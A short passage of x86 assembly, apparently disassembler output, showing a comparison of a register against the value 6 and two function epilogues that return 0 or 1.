je 0x402636
cmp ax, 6
je 0x402636
xor al, al
mov esp, ebp
pop ebp
ret
mov al, 1
mov esp, ebp
pop ebp
ret